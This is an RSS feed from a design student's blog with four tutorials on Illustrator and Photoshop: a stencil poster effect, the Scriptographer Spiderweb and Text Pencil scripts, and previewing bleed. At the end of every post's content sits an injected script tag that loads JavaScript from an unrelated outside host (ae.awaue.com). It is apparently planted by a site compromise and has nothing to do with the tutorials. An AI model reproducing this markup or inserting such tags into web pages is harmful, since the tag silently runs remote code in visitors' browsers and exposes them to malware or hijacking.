<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Upside Down City &#187; Illustrator</title>
	<atom:link href="http://www.upsidedowncity.net/category/illustrator/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.upsidedowncity.net</link>
	<description>journal of a design student</description>
	<lastBuildDate>Mon, 09 Mar 2009 02:17:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Easy Stencil Effects</title>
		<link>http://www.upsidedowncity.net/easy-stencil-effects/</link>
		<comments>http://www.upsidedowncity.net/easy-stencil-effects/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 22:16:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=503</guid>
		<description><![CDATA[Brief Background
My main source of insertion for the Inauguration Poster came from the Shepard Fairey &#8220;Hope&#8221; Poster we have all seen so much of. Here is the final version of my poster.

This is a quick tutorial on how I created the stencil effect for the poster.

Quick Steps

Select background (expand and smooth your selection).
Fill with white.
Black [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Brief Background</strong><br />
My main source of insertion for the Inauguration Poster came from the Shepard Fairey &#8220;Hope&#8221; Poster we have all seen so much of. Here is the final version of my poster.</p>
<p><a href="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/inauguration-poster.png"><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/inauguration-poster-399x600.png" alt="inauguration-poster" title="inauguration-poster" width="399" height="600" class="aligncenter size-medium wp-image-591" /></a></p>
<p>This is a quick tutorial on how I created the stencil effect for the poster.</p>
<p><span id="more-503"></span></p>
<p><strong>Quick Steps</strong></p>
<ul>
<li>Select background (expand and smooth your selection).</li>
<li>Fill with white.</li>
<li>Black and white (not an adjustment layer) your photo and up the contrast.</li>
<li>Merge the photo w/ the background.</li>
<li>Make your photo a smart object.</li>
<li>Apply Gaussian Blur and Cutout(In that order).</li>
<li>Tweak both filters (every photo is different).</li>
<li>Live Trace it in illustrator to and color each shape.</li>
<li>Expand and Tweak the trace.</li>
</ul>
<p><strong>Detailed Steps</strong><br />
<strong>Select background (smooth the edges out)</strong><br />
Using your favorite selection tool to select the background of your image. Smooth out your selection<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-1-580x432.png" alt="obama-1" title="obama-1" width="580" height="432" class="aligncenter size-medium wp-image-570" /> by going to Select>Refine Edge and use the smooth slider to smooth out your edges.</p>
<p>It also helps to contract your selection a bit this creates a darkened border around your subject.</p>
<p><strong>Fill with White</strong><br />
Fill your Selection with white.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-2-580x434.png" alt="obama-2" title="obama-2" width="580" height="434" class="aligncenter size-medium wp-image-577" /></p>
<p><strong>Black and white (not an adjustment layer) your photo and up the contrast</strong><br />
You have to use the Image>Adjustment menu for this step because you want the filters applied in later steps to affect the edited version of the image and not the original. Not the best practice to completely destroy your image but a necessary one.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-3-580x435.png" alt="obama-3" title="obama-3" width="580" height="435" class="aligncenter size-medium wp-image-582" /></p>
<p><strong>Merge the photo w/ the background</strong><br />
Fairly self-explanatory when you apply the filters to the image you want to make the entire image reside on one layer.</p>
<p><strong>Make your photo a smart object</strong><br />
Go to Filters>Convert for Smart Filters to make your image a smart object this will let you adjust filters to get the best image later.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-4.png" alt="obama-4" title="obama-4" width="223" height="364" class="aligncenter size-full wp-image-579" /></p>
<p><strong>Apply Gaussian Blur and Cutout(In that order)</strong><br />
I used about 4px Gaussian blur. For the cutout I used 3 levels with 0 edge simplicity and 3 edge fidelity. If your image doesn&#8217;t have enough detail and is muddy, try taking down Gaussian blur. If your image has to much detail for you take the blur for edge simplicity up.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-5.png" alt="obama-5" title="obama-5" width="361" height="480" class="aligncenter size-full wp-image-580" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-3-580x435.png" alt="obama-3" title="obama-3" width="580" height="435" class="aligncenter size-medium wp-image-582" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-7.png" alt="obama-7" title="obama-7" width="362" height="486" class="aligncenter size-full wp-image-575" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-8.png" alt="obama-8" title="obama-8" width="254" height="215" class="aligncenter size-full wp-image-573" /></p>
<p><strong>Tweak both filters (every photo is different)</strong><br />
If your image doesn&#8217;t have enough detail and is muddy, try taking down Gaussian blur. If your image has to much detail for you take the blur for edge simplicity up.</p>
<p><strong>Live Trace it in illustrator to and color each shape.</strong><br />
Open your image in Illustrator and release the crop area and delete it. Also get rid of any clipping masks ect. Then go to Object>Live Trace>Tracing options. You can use my settings below or find your own.<br />
<img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-10.png" alt="obama-10" title="obama-10" width="467" height="550" class="aligncenter size-full wp-image-576" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-3-580x435.png" alt="obama-3" title="obama-3" width="580" height="435" class="aligncenter size-medium wp-image-582" /></p>
<p><strong>Expand and Tweak</strong><br />
Live Trace is hardly ever perfect, by expanding your trace you can tweak individual paths. Go to Object>Expand and then click OK. Now you have all the individual paths for your tweaking pleasure.</p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-12.png" alt="obama-12" title="obama-12" width="220" height="548" class="aligncenter size-full wp-image-574" /></p>
<p><img src="http://emumarketing.uoregon.edu/wp-content/uploads/2009/01/picture-13-580x434.png" alt="obama-13" title="obama-13" width="580" height="434" class="aligncenter size-medium wp-image-581" /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/easy-stencil-effects/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Scriptographer &#8211; Spiderweb</title>
		<link>http://www.upsidedowncity.net/scriptographer-spiderweb/</link>
		<comments>http://www.upsidedowncity.net/scriptographer-spiderweb/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 19:00:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[scriptographer]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=206</guid>
		<description><![CDATA[So I know I promised more Scriptographer tutorials and here is another one. Spiderweb gets its name from the patterns it turns ordinary paths into. You can check out the instructions for installing Scriptographer and Spiderweb script here.
To start out make a simple shape in Illustrator, like a circle or a square. I&#8217;m using a [...]]]></description>
			<content:encoded><![CDATA[<p>So I know I promised more <a title="Scriptographer" href="http://www.scriptographer.com/" target="_blank">Scriptographer</a> tutorials and here is another one. Spiderweb gets its name from the patterns it turns ordinary paths into. You can check out the instructions for installing Scriptographer and Spiderweb script here.</p>
<div id="attachment_211" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-211" title="Make a Shape for Spideweb" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/make-a-shape-400x410.jpg" alt="" width="400" height="410" /><p class="wp-caption-text">Make a shape like a square or circle.</p></div>
<p>To start out make a simple shape in Illustrator, like a circle or a square. I&#8217;m using a circle with a 1pt black line.</p>
<div id="attachment_210" class="wp-caption aligncenter" style="width: 239px"><img class="size-medium wp-image-210" title="select-and-run-spiderweb" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/select-and-run-spiderweb.jpg" alt="Next select and run Spiderweb from the Scritpographer Console." width="229" height="319" /><p class="wp-caption-text">Next select and run Spiderweb from the Scritpographer Console.</p></div>
<p>Just like the last tutorial select and run Spiderweb. If you can find the Scriptographer window just go up to Window &gt; Scriptographer &gt; Main and it should pop up.</p>
<div id="attachment_208" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/09/options.jpg"><img class="size-medium wp-image-208" title="spiderweb-options" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/options.jpg" alt="The Spiderweb options panel" width="240" height="240" /></a><p class="wp-caption-text">The Spiderweb options panel</p></div>
<p>after running hte script you should see this options panel. Here is a breakdown on the options</p>
<ul>
<li>point distance : This is the distance between the starting spots of the &#8220;strands&#8221; of the web.</li>
<li>use curves : If this is checked the &#8220;strands&#8221; will be curved like in the thumbnail for this post</li>
<li>Remove original path : If this is checked the original path that you created back at the start will disappear</li>
<li>use random stroke width : if checked this will generate random widths for all the strands between the min and max width.</li>
<li>minimum stroke width : the minimum width of strokes if the random stroke widths box is checked</li>
<li>maximum stroke width : the maximum width of strokes if the random stroke widths box is checked</li>
</ul>
<p>once  you get your options set click &#8220;ok&#8221; and watch the web generate.</p>
<div id="attachment_207" class="wp-caption aligncenter" style="width: 268px"><img class="size-medium wp-image-207" title="Spiderweb" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/preview.jpg" alt="Spiderweb" width="258" height="261" /><p class="wp-caption-text">Spiderweb</p></div>
<p>As you can see I used curves and random stroke widths. You can just expand the shape once you are done to alter the individual lines by going to Object &gt; Expand.</p>
<p>Have fun!</p>
<p>Look for another Scriptographer tut next sometime next week.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/scriptographer-spiderweb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scriptographer &#8211; Text Pencil</title>
		<link>http://www.upsidedowncity.net/scriptographer-part-1-of-4-text-pencil/</link>
		<comments>http://www.upsidedowncity.net/scriptographer-part-1-of-4-text-pencil/#comments</comments>
		<pubDate>Mon, 11 Aug 2008 19:30:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[scriptographer]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=49</guid>
		<description><![CDATA[I&#8217;ve been wanting to post about scriptographer for a long time and I think it is one of the coolest Illustrator tricks out there. Everything from interactive tools to raster effects can be achieved. I&#8217;ll be going over a few of my favorite scripts like ,text pencil, crowdomatic, spiderweb and fadenGraydiExplosionpack.
basics
download and install
you can download [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been wanting to post about <a title="Scriptographer Plugin for Illustrator" href="http://www.scriptographer.com/" target="_self">scriptographer</a> for a long time and I think it is one of the coolest Illustrator tricks out there. Everything from interactive tools to raster effects can be achieved. I&#8217;ll be going over a few of my favorite scripts like ,<a title="Text Pencil for Scriptographer" href="http://www.scriptographer.com/Scripts/Interactive+Tools/Text-Pencil/" target="_self">text pencil</a>, <a title="crowdomatic for Scriptograher" href="http://www.scriptographer.com/Scripts/General+Scripts/crowdomatic0.2/" target="_blank">crowdomatic</a>, <a title="spiderweb for Scriptographer" href="http://www.scriptographer.com/Scripts/General+Scripts/spiderweb/" target="_blank">spiderweb</a> and <a title="Explosion Pack for Scriptographer" href="http://www.scriptographer.com/Scripts/General+Scripts/fadenGraydi/" target="_blank">fadenGraydiExplosionpack</a>.</p>
<h2>basics</h2>
<h3>download and install</h3>
<p>you can download Scriptographer for free <a title="Download Scriptographer" href="http://www.scriptographer.com/Download/" target="_self">here</a> and then follow the <a title="Scriptographer Installation Instructions" href="http://www.scriptographer.com/Documentation/Installation-Instructions/" target="_self">installation instructions</a> to get started. Once you get it installed go ahead and grab the four scripts that I&#8217;ll be using here.</p>
<ul>
<li><a title="Text Pencil for Scriptographer" href="http://www.scriptographer.com/Scripts/Interactive+Tools/Text-Pencil/" target="_self">text pencil</a></li>
<li><a title="crowdomatic for Scriptograher" href="http://www.scriptographer.com/Scripts/General+Scripts/crowdomatic0.2/" target="_blank">crowdomatic</a></li>
<li><a title="spiderweb for Scriptographer" href="http://www.scriptographer.com/Scripts/General+Scripts/spiderweb/" target="_blank">spiderweb</a></li>
<li><a title="Explosion Pack for Scriptographer" href="http://www.scriptographer.com/Scripts/General+Scripts/fadenGraydi/" target="_blank">fadenGraydiExplosionpack</a></li>
</ul>
<p>Place these scripts in the folder with the other scriptographer scripts, again they have instructions at their website <a title="Scriptographer Installation Instructions" href="http://www.scriptographer.com/Documentation/Installation-Instructions/" target="_self">here</a>.</p>
<h2>Text Pencil</h2>
<h3>drawing with words</h3>
<p>Text pencil is the script that got me interested in scriptographer right from the start. It lets you define a set of words and then you get to draw out shapes using those words.</p>
<p>When you open illustrator if you don&#8217;t see the scriptographer window go to Window &gt; Scriptographer &gt; Main to get it open.</p>
<p>The window should look like the image below.</p>
<p><img class="aligncenter size-full wp-image-56" title="sg-interface" src="http://www.upsidedowncity.net/wp-content/uploads/2008/08/sg-interface.jpg" alt="" width="212" height="181" /></p>
<p>Then select text pencil from the script list and click run, this should open the text pencil interface and let you control the font size and what you are saying. Remember to click &#8220;refresh text&#8221; when you are done.</p>
<p><img class="aligncenter size-full wp-image-50" title="sg-run-script" src="http://www.upsidedowncity.net/wp-content/uploads/2008/08/sg-run-script.jpg" alt="" width="215" height="193" /></p>
<p><img class="aligncenter size-full wp-image-51" title="sg-txt-pencil-int" src="http://www.upsidedowncity.net/wp-content/uploads/2008/08/sg-txt-pencil-int.jpg" alt="" width="226" height="297" /></p>
<p>Next you want to define which of the tools you are going to assign text pencil tool to these are the ** and // buttons at the bottom of the scriptographer interface.</p>
<p><img class="aligncenter size-full wp-image-52" title="sg-tool-mapping" src="http://www.upsidedowncity.net/wp-content/uploads/2008/08/sg-tool-mapping.jpg" alt="" width="216" height="195" /></p>
<p>Then click that tool from the illustrator tool bar and you are ready to go.</p>
<p><img class="aligncenter size-full wp-image-53" title="sg-toolbar" src="http://www.upsidedowncity.net/wp-content/uploads/2008/08/sg-toolbar.jpg" alt="" width="48" height="166" /></p>
<p>If you get lost you can always use the drop down from the text pencil interface to get back to the letter you want.</p>
<p><img class="aligncenter size-full wp-image-54" title="txt-pencil-character-select" src="http://www.upsidedowncity.net/wp-content/uploads/2008/08/txt-pencil-character-select.jpg" alt="" width="234" height="445" /></p>
<p>And your done.</p>
<p><img class="aligncenter size-full wp-image-55" title="yippie-for-text-pencil" src="http://www.upsidedowncity.net/wp-content/uploads/2008/08/yippie-for-text-pencil.jpg" alt="" width="289" height="289" /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/scriptographer-part-1-of-4-text-pencil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Preview in Illustrator w/ bleed</title>
		<link>http://www.upsidedowncity.net/preview-in-illustrator-with-bleed/</link>
		<comments>http://www.upsidedowncity.net/preview-in-illustrator-with-bleed/#comments</comments>
		<pubDate>Mon, 30 Jun 2008 21:00:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[bleed]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=35</guid>
		<description><![CDATA[A few weeks ago I was bemoaning one of Illustrators flaws that makes it impossible to preview a document with the bleed. My coworker suggested simply using InDesign which is a solution but I like to stick with Illustrator/Photoshop whenever possible.
Later that same week she emailed me this wonderful link explaining how to setup and [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago I was bemoaning one of Illustrators flaws that makes it impossible to preview a document with the bleed. My coworker suggested simply using InDesign which is a solution but I like to stick with Illustrator/Photoshop whenever possible.</p>
<p>Later that same week she emailed me this wonderful link explaining how to setup and Illustrator document with bleed using clipping masks and stacked layers.</p>
<p><a title="Real World Illustrator" href="http://rwillustrator.blogspot.com/2008/05/ask-mordy-preview-without-bleed.html" target="_blank">Preview in Illustrator with Bleed</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/preview-in-illustrator-with-bleed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
